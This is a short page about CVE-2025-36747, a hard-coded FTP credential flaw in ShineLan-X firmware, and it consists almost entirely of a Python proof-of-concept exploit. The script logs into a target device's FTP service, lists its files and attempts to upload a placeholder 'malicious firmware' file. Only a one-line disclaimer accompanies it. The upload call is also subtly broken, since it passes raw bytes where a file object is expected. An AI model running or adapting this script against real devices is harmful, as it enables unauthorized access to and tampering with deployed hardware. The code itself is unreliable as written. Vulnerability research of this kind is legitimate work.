CVE-2025-36747 ShineLan-X固件FTP硬编码凭证漏洞

#!/usr/bin/env python3 """ CVE-2025-36747 PoC - ShineLan-X FTP Credential Disclosure Note: This PoC is for educational and authorized testing purposes only. """ import ftplib import sys def exploit_ftp(target_ip, username, password): """ Establish FTP connection and attempt to upload malicious file """ try: print(f"[*] Connecting to FTP server at {target_ip}...") ftp = ftplib.FTP(target_ip) ftp.login(user=username, passwd=password) print(f"[+] Login successful!") print(f"[*] FTP banner: {ftp.getwelcome()}") # List files on FTP server print("[*] Listing files:") files = ftp.nlst() for f in files: print(f" - {f}") # Attempt to upload malicious firmware file malicious_content = b"MALICIOUS_FIRMWARE_PAYLOAD" try: ftp.storbinary('STOR malicious_firmware.bin', malicious_content) print("[+] Malicious file uploaded successfully!") except: print("[-] Upload failed or not permitted") ftp.quit() return True except ftplib.all_errors as e: print(f"[-] FTP error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit_ftp(target, user, passwd)